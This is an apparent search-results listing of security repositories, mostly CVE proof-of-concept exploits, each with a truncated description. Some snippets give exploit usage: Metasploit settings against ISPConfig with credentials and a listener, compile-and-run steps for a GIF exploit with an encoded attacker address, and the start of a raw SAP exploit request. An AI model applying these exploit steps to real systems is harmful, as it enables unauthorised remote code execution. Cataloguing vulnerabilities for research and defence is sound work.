1285193 matches found
ngrev
ngrev Graphical tool for reverse engineering of Angular projects. It allows you to navigate in the structure of your application and observe the relationship between the different modules, providers, and directives. The tool performs static code analysis which means that you don't have to run you...
CVE-2023-46818
Metasploit-module Metasploit Module use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language fi...
CVE-2020-0688
CVE-2020-0688 Microsoft Exchange Server Fixed Cryptographic Key Remote Code Execution RCE Instead of having randomly-generated keys on a per-installation basis, all installations of Microsoft Exchange Server have the same validationKey and decryptionKey values in web.config. Thus, an authenticate...
CVE-2019-11932
CVE-2019-11932 Modify the listening address attacker's and the listening port in the exploit.c file Following hex code: 3139 322e 3136 382e 322e 3732 2034 3434 3420 Compile the code: gcc -o exploit egiflib.c exploit.c Run the compiled file ./exploit exploit.gif copy/paste the output into a gif...
CVE-2024-53677-POC
CVE-2024-53677 A kind old vulnerability that effect Apache Struts leading to LFI, and remote exection. more info about the vulnerability you can refer to this great blog. Apache Struts path traversal → RCE CVE-2024-53677 POC usage I have send much time make this as custamizable as possiable becau...
CVE-2019-2107
CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - looks scary. Still remember Stagefright and PNG bugs vulns .... With CVE-2019-2107 the decoder/codec runs under mediacodec user and with properly "crafted" video with tiles enabled - pspps-i1tilesenabledflag you can possibly do RCE. The codec affected i...
List-CVE-2025-2026
CVE-2025-69412 - KDE messagelib before 25.11.90 ignores SSL errors for threatMatches:find in the Google Safe Browsing Lookup API aka phishing API, which might allow ... 2. CVE-2025-69413 - In Gitea before 1.25.2, /api/v1/user has different responses for failed authentication depending on...
CVE-2021-20837
CVE-2021-20837 MovableType XMLRPC - RCE...
CVE-2025-22968
CVE-2025-22968 D-Link DWR-M972V Software Version 1.05SSG Unauthenticated Access Vulnerability Description Unauthenticated access in the default configuration of the D-Link DWR-M972V Software Version 1.05SSG allows an anonymous attacker to access the router and upload malicious backdoor scripts vi...
CVE-2022-26809
CVE description CVE-2022-26809 - weakness in a core Windows component RPC earned a CVSS score of 9.8 not without a reason, as the attack does not require authentication and can be executed remotely over a network, and can result in remote code execution RCE with the privileges of the RPC service,...
nifi-CVE-2026-39816-poc
Apache NiFi CVE-2026-39816 POC Proof-of-concept demonstration for CVE-2026-39816, an EXECUTECODE permission bypass in Apache NiFi 2.8.0 that lets a flow designer who has been deliberately denied code-execution privileges run arbitrary Groovy in the NiFi JVM via the graph bundle's ExecuteGraphQuer...
CVE-2025-31324
CVE-2025-31324 CVE-2025-31324, SAP Exploit POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...
CVE-2025-1974-poc
POC of IngressNightmare, RCE in Ingress NGINX CVE-2025-1974 Developed from: https://github.com/zwxxb/CVE-2025-1974/blob/main/poc.py https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilitieshow-did-we-discover-ingressnightmare-24 Thanks Usage forward the admission webhook kubectl port-forwa...
PoC-CVE-2025-55182
The Script exploits CVE-2025-55182, an RCE that affects the React Server Components used in React.js and Next.js. Affected React Versions: 19.0.0 19.1.0 and 19.1.1 19.2.0 Next.js: Next.js 15.x all versions prior to fixes Next.js 16.0.0 initial alpha/beta/RC versions built on vulnerable React 19...
CVE-2026-49869
CVE-2026-49869: Kestra Unauthenticated Remote Code Execution ★PoC and Docker lab for the authentication bypass in Kestra OSS AuthenticationFilter★ Run this lab only on systems you control. The -p 8080:8080 example may publish the vulnerable API on all host interfaces; block access from other...
CVE-2023-38831-PoC
CVE-2023-38831 PoC This repository is just a Proof-of-Concept for CVE-2023-38831 Zero-Day vulnerability in WinRAR RARLabs WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive. The issue occurs because a ZIP archive may inclu...
OHTS
OHTS CVE-2017-8759 | .NET Framework Remote Code Execution Vulnerability 1. Introduction A remote code execution vulnerability exists when Microsoft .NET Framework processes untrusted input. An attacker who successfully exploited this vulnerability in software using the .NET framework could take...
CVE-2026-32746
🚨 CVE-2026-32746 GNU Inetutils Telnetd RCE 🔥 📌 Executive Summary Critical Vulnerability | CVSS 9.8 | Remote Code Execution! Affects: GNU Inetutils Telnetd versions prior to 2.7 Type: OOB Write in the LINEMODE SLC suboption handler Attack Vector: Network Port 23 | No authentication required Impact...
Sandbox-Challenge-Log4Shell-CVE-2021-44228-
Sandbox Challenge: Log4Shell CVE-2021-44228 Overview This walkthrough documents the steps taken to complete the CISA Threat Sandbox Challenge for CVE-2021-44228, commonly known as Log4Shell. The challenge involved completing two objectives — one red team offensive and one blue team defensive —...